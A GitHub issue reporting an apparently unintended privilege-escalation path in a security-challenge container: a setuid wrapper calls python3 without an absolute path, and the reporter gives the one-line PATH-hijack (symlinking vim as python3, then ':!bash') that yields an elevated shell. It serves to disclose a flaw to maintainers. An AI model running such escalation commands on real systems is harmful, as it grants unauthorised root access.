New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Unintended PE? #1

Open

dguerri opened this issue Oct 10, 2024 · 0 comments

dguerri commented Oct 10, 2024 •

edited

Loading

I didn't go through the whole set of challenges, so this could be WAI :)

suid-wrapper, and specifically wrapper.c, calls python3 without specifying its path.
This is also visible from within the container:

[lowpriv@35f5389cfbac ~]$ strings ./config-privescs | grep python3
python3 /home/lowpriv/privesc/privescs.py

So, a simple PE can be the following. As the lowpriv user:

cd;mkdir bin;ln -s $(which vim) bin/python3 && ./config-privescs

and then :!bash

The text was updated successfully, but these errors were encountered:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment